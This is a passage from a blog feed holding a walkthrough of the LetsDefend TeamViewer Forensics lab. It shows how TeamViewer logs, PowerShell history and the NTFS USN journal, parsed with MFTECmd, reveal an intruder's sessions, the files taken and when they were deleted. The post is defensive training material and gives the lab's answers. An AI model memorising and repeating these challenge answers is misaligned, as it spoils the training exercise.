&lt;em&gt;Connections_incoming&lt;/em&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;But keep in mind that the challenge wants the timestamp for the incoming session line, not the session encryption negotiation where we see the ID number&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/dd527d933b6c563b0c6a186cce90e51f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the---&#34;&gt;Question 4: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;session ID&amp;rdquo;&#xA;of the intruder&amp;rsquo;s second access to the computer?&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s investigate some information about a second time the victim&amp;rsquo;s device was accessed. Remember, from the &lt;em&gt;Connections_incoming&lt;/em&gt; log we have a rough idea of when the second access attempt was — 04:35:03.&lt;/p&gt;&#xA;&lt;p&gt;This gives us an idea of where in the logs that we need to search, so let&amp;rsquo;s keep looking through &lt;em&gt;TeamViewer15_Logfile.log&lt;/em&gt; to see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to in the logs until we find the timestamps for 04:35:03. Once there, look for the connection incoming reference and the sessionID assigned to the new, second session!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;974px&#34; data-flex-grow=&#34;406&#34; height=&#34;197&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b6a748c5c3a54f7b967c1c082fe70fa9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8e5ad6eb8fb212bcbb4dbf4049a424a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-was-the-duration-of-the-second-session-in-secondsmilliseconds&#34;&gt;Question 5: What was the duration of the second session in seconds.milliseconds?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have located the &lt;em&gt;sessionID&lt;/em&gt; for the second connection in the previous question, we have also found the exact timestamp when the session was established. This gets us halfway to the answer! We&amp;rsquo;ll just need to find the end of the session to determine how long the attacker was active on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;Again, we have an idea of when the session ended based on what we saw in the &lt;em&gt;Connections_incoming&lt;/em&gt; log, but we need to find the session termination event in the &lt;em&gt;TeamViewer15_Logfile.log&lt;/em&gt; to get the exact session duration down to the milliseconds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1135px&#34; data-flex-grow=&#34;473&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/ae0ae6518703dfb018a5cf4e83f461c7_MD5.png&#34; width=&#34;492&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going through the logs, we&amp;rsquo;ll stumble upon a &lt;em&gt;SessionTerminate&lt;/em&gt; entry but instead of using the timestamp from this line, let&amp;rsquo;s go ahead and search for the second session ID, and locate the very last event with this session ID.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;444px&#34; data-flex-grow=&#34;185&#34; height=&#34;432&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/bc006d19b7eb1989d74da79daa0cf7ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This should be the event we are looking for to determine the absolute end time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;7510px&#34; data-flex-grow=&#34;3129&#34; height=&#34;17&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b66822501331680c24ce03500490d156_MD5.png&#34; width=&#34;532&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The final event for session ID 536169703&lt;/p&gt;&#xA;&lt;p&gt;Now that we have both the start and end time stamp, it&amp;rsquo;s time for some math! To recap, the first activity timestamp is &lt;em&gt;04:35:03.631&lt;/em&gt; and the last activity timestamp is &lt;em&gt;04:45:11:202&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m not a numbers guy, so let&amp;rsquo;s shift the workload to a date/time calculator to get the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  title=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Subtract Time Calculator&lt;/strong&gt;&#xA;_The Subtract Time Calculator is a useful tool to obtain the mathematical difference when you subtract a time from&amp;hellip;_datetimecalculator.net&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;515px&#34; data-flex-grow=&#34;214&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/809d8b5bdea0788f7f640efb907d9412_MD5.png&#34; width=&#34;623&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re so close! The last step is to convert this to the answer format for the question: &lt;em&gt;seconds.milliseconds&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, we just need to convert 10 minutes, 7 seconds to seconds which equals 607. Now put that together with the milliseconds from the calculator and, voila! We have our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/264e42d0cec37e59aac205589d72cc59_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-ip-address-of-the-server-to-which-the-intruder-exfiltrated-data&#34;&gt;Question 6: What is the IP address of the server to which the intruder exfiltrated data?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we&amp;rsquo;ve hit a little dead end — there is no evidence of file exfiltration in the &lt;em&gt;TeamViewer&lt;/em&gt; logs. So, we&amp;rsquo;ll need to pivot and direct our search elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we start with a review of the &lt;em&gt;PowerShell&lt;/em&gt; command history file to see if we can locate any commands the attacker may have run through &lt;em&gt;PowerShell?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  title=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;about History - PowerShell&lt;/strong&gt;&#xA;_Describes how to get and run commands in the command history._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To locate the &lt;em&gt;PowerShell command history&lt;/em&gt; log, we&amp;rsquo;ll need to navigate to the following path within the challenge file:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;C\Users\mmox\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Very interesting! We&amp;rsquo;ve stumbled on some evidence of the attacker&amp;rsquo;s next moves — archive collected data (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1560/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1560&lt;/em&gt;&lt;/a&gt;) from the &lt;em&gt;Confidential&lt;/em&gt; folder into a &lt;em&gt;ZIP&lt;/em&gt; file (&lt;em&gt;output.zip&lt;/em&gt;) and then two different methods of data exfiltration through web requests to the attacker&amp;rsquo;s server IP address (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1048/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1048&lt;/em&gt;&lt;/a&gt;)!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/9b2e75b8d088f31a2ff3a80002392d74_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve uncovered some of the attacker&amp;rsquo;s infrastructure, let&amp;rsquo;s start to evaluate the impact of the attacker&amp;rsquo;s actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/7c9cab94886ac670d9323f8d7cf51859_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-files-did-the-intruder-exfiltrate&#34;&gt;Question 7: How many files did the intruder exfiltrate?&#xA;&lt;/h3&gt;&lt;p&gt;From the previous question, we learned that the attacker created an archive of a folder labeled &amp;quot; # &amp;ldquo;Confidential&amp;quot;but there is no trace of this directory in the challenge file, is there?&lt;/p&gt;&#xA;&lt;p&gt;So, what can we do to find it? Let&amp;rsquo;s use the question hint to give us some ideas.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1788px&#34; data-flex-grow=&#34;745&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/54a66f22c336c357a85cf6a6a13a2190_MD5.png&#34; width=&#34;723&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do some research and learn more about the &lt;em&gt;Journal&lt;/em&gt; on an &lt;em&gt;NTFS volume.&lt;/em&gt; Below is an excerpt from &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Velociraptor&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(&lt;em&gt;another DFIR tool) explaining the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20%28Update%20Sequence,changes%20made%20to%20the%20volume.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;USN Journal&lt;/em&gt;&lt;/a&gt;&lt;/em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;By default Windows maintains a journal of filesystem activities in a file called &lt;strong&gt;$Extend$UsnJrnl&lt;/strong&gt; in a special data stream called &lt;strong&gt;$J&lt;/strong&gt;. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay, so if we can access the &lt;em&gt;USN Journal&lt;/em&gt; of the victim&amp;rsquo;s device, we might be able to parse and extract some information about the &lt;em&gt;Confidential&lt;/em&gt; directory and the files within it.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll use Eric Zimmerman&amp;rsquo;s &lt;strong&gt;&lt;em&gt;MFTECmd&lt;/em&gt;&lt;/strong&gt; which is part of the &lt;em&gt;Tools&lt;/em&gt; folder already in the &lt;em&gt;LetsDefend&lt;/em&gt; analysis machine. After we check out the help options, we&amp;rsquo;ll learn the below syntax to use this utility. Since we are pointing to the &lt;strong&gt;$J&lt;/strong&gt; (journal) file, we&amp;rsquo;ll also provide the path to the &lt;strong&gt;$MFT&lt;/strong&gt; so we can resolve the parent path as suggested by the help file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/6a6c5a2885b2c1f1e95397d273c20a03_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C$Extend$J&amp;rdquo; -m &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT&amp;rdquo; &amp;ndash;csv C:\Users\LetsDefend\Desktop&amp;lt;name-of-output&amp;gt;.csv&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/1eb83b78cb3deac0e737f33bc81711f1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After the utility parses the two files we pointed to and generates the output CSVs, let&amp;rsquo;s locate the &lt;em&gt;$J_Output.csv.&lt;/em&gt; To simplify the analysis, let&amp;rsquo;s use another of &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; installed tools_, Timeline Explorer,_ to open the file.&lt;/p&gt;&#xA;&lt;p&gt;Since we know from &lt;strong&gt;Question 6&lt;/strong&gt; that we&amp;rsquo;re searching for a folder called &lt;em&gt;Confidential,&lt;/em&gt; let&amp;rsquo;s use the search box and type the keyword &amp;quot; # &amp;ldquo;Confidential.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;395px&#34; data-flex-grow=&#34;164&#34; height=&#34;485&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/26f55875423487191efc3c9d6252ebda_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we located the directory with a parent path of &lt;em&gt;\Users\mmox\Documents&lt;/em&gt;. So, now we need to discover the files contained within the folder to determine what data was stolen. To accomplish this, take notice of the &amp;quot; # &amp;ldquo;Entry Number&amp;quot;column that has the number &lt;strong&gt;35740&lt;/strong&gt; and copy that value.&lt;/p&gt;&#xA;&lt;p&gt;Next, we want to remove the keyword filter to see all results, scroll over to the column called &amp;quot; # &amp;ldquo;Parent Entry Number,&amp;ldquo;and paste the entry number &lt;em&gt;35740&lt;/em&gt; into the column. This will filter all entries with the same parent, in this case the &amp;quot; # &amp;ldquo;Confidential&amp;quot;folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/a9eae4e87db7201355ed38a143d7dff8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see several entries with intriguing file names but there are also several other entries too with a different path than these files. So, what we are going to do is add a filter by the parent path column of the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;secret&amp;rdquo;&#xA;files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/f2068f9241c4298446fb39002c2a7845_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;And finally, filter the &lt;em&gt;Update Reasons&lt;/em&gt; column for &lt;em&gt;FileCreate&lt;/em&gt; events. This will leave us with three files from the &lt;em&gt;Confidential&lt;/em&gt; folder and filtered only by file creation events! Whew!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;348px&#34; data-flex-grow=&#34;145&#34; height=&#34;551&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/a31f90d27325390ba123fb5c87b4a041_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After using &lt;em&gt;MFTECmd&lt;/em&gt; to parse the &lt;em&gt;USN Journal ($J)&lt;/em&gt; file of the victim&amp;rsquo;s machine, we have determined that the &lt;em&gt;Confidential&lt;/em&gt; folder contained three sensitive files that were archived and exfiltrated to the attacker&amp;rsquo;s infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/f05e1bda31cc335907853af84e6fa0b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-when-did-the-intruder-delete-the-confidential-data-from-thesystem&#34;&gt;Question 8: When did the intruder delete the confidential data from the system?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question for this investigation. After the attacker collected and exfiltrated the data, they deleted the original files from the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;To discover when this event occurred, we&amp;rsquo;ll make a simple change the &lt;em&gt;Timeline Explorer&lt;/em&gt; filter from &lt;em&gt;Update Reasons &amp;gt; FileCreate&lt;/em&gt; to &lt;em&gt;Update Reasons &amp;gt; File Delete|Close.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;475px&#34; data-flex-grow=&#34;198&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5_hu_b9e4bead7c167148.gif 800w, https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/df4c62529f92c05ba86c0235a1280ed1_MD5.gif 1014w&#34; width=&#34;1014&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will change our view from when the three confidential files were created to when they were deleted. Now that we have figured out when the files were deleted, we can wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/3382a8e5dac9fe01c501a0453d1ac4b0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We have finished our analysis of the &lt;em&gt;TeamViewer&lt;/em&gt; connection logs_,_ learned when the attacker connected to the victim&amp;rsquo;s workstation, and discovered what data was stolen. It&amp;rsquo;s time to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Team Viewer Forensics&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for this awesome challenge — this was a really exciting lab to work through. I chose this challenge because &lt;em&gt;TeamViewer&lt;/em&gt; is such a popular remote monitoring and managing tool and it is really valuable for me to get some hands-on experience analyzing the &lt;em&gt;TeamViewer logs&lt;/em&gt; to understand what information they contain. The even cooler part about this challenge was the unexpected pivot to using _MFTECmd t_o analyze the &lt;em&gt;USN Journal&lt;/em&gt;. Prior to this challenge, I didn&amp;rsquo;t know that this file existed and also hadn&amp;rsquo;t used the &lt;em&gt;MFTECmd&lt;/em&gt; utility from &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; tools — this was a great introduction to both! While I&amp;rsquo;m sure this was a basic use case for using &lt;em&gt;MFTECmd&lt;/em&gt;, I am really interested in learning more about what forensic artifacts can be uncovered within the journal.&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;TeamViewer Log Locations:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Date Time Calculator:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://datetimecalculator.net/subtract-time-calculator&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://datetimecalculator.net/subtract-time-calculator&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (PSReadline)&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor Blog:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Windows USN Journal :: Velociraptor — Digging deeper!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (USN Journal):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20%28Update%20Sequence,changes%20made%20to%20the%20volume.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20(Update%20Sequence,changes%20made%20to%20the%20volume.&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — DLL Stealer Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/</link>
            <pubDate>Sun, 14 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/138757dfaba160cb545103156a1b0b1a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — DLL Stealer Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--dll-stealer-challenge-walkthrough&#34;&gt;LetsDefend — DLL Stealer Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-dll-stealer-malware-with-dotpeek-and-mitreattck&#34;&gt;Analyzing DLL Stealer Malware with dotPeek and MITRE ATT&amp;amp;CK&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-dll-stealer-challenge-walkthrough/138757dfaba160cb545103156a1b0b1a_MD5.png&#34; 